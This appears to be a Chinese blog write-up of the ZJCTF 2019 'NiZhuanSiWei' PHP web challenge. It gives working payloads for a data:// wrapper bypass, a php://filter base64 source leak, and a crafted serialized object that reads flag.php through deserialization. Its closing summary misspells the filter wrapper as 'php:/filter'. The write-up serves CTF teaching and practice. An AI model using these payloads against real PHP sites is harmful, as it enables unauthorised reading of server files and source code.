[ZJCTF 2019]NiZhuanSiWei

0x00

打开WEB界面看到如下

进行代码审计,可以得到如下信息:

text
要想执行if里面的语句,需要满足isset($text)和file_get_contents($text,'r')==="welcome to the zjctf"为True
isset($text)用来判断text是否为空,只要我们传参就会返回True
file_get_contents($text,'r')==="welcome to the zjctf",file_get_content函数用来获取文件里面的内容,这里使内容为"welcome to the zjctf"即为True,这里可以使用data://text/plaint来传递内容信息

所以我们可以构造如下payload:

?text=data://text/plaint,welcome to the zjctf

请求后结果如下图,说明我们的payload的已经起效

file
使用preg_match("/flag/",$file)函数来过滤flag,当我们给file传递的参数为flag.php的时候就会返回"Not now!"
这里暂时没有办法绕过,继续寻找其他条件,我们发现注释中提示存在useless.php
我们可以查看一下useless.php的源码,也许可以发现获取flag的办法
要想查看useless.php的源码,可以使用php://filter/伪协议

所以我们可以构造如下payload:

?text=data://text/plaint,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
## 使用base64编码方式返回useless.php源码

请求结果如下

## 完整base64
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解base64编码:http://ctf.ssleye.com/base64.html
结果如下

password
审计useless.php的代码可以知道,存在flag.php页面,并且会打印file变量页面的内容
但是根据前面我们可以知道file无法被赋予flag.php值,就算file可以被赋予flag.php值也只是把flag.php被包含到index.php,而useless.php没有被包含也无法进行打印
这个问题我们可以通过反序列化来解决,思路如下
首先file赋值为useless.php
然后password赋值为Flag类的序列化对象且把其中的file赋值为flag.php

获取序列化对象,运行如下代码

<?php

class Flag{  //flag.php
    public $file="flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a = new Flag;
echo serialize($a);
?>

得到结果如下

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

所以我们可以构造如下payload:

?text=data://text/plaint,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
## 因为我们不需要再获取useless.php源码,所以不再使用php://filter协议

得到结果如下

可以看到已经被正确执行,但是还没有看到flag,我们只要查看页面源码就可以获得

0x01 总结

  • 1.序列化
  • 2.伪协议
data://text/plaint
## 主要用来传递信息,绕过一些过滤,因为可以使用base64编码方式传递
php:/filter/read=convert.base64-encode/resource=
## CTF中主要用来获取网页源码
posted @ 2020-09-10 14:48  she11s  阅读(223)  评论(0编辑  收藏  举报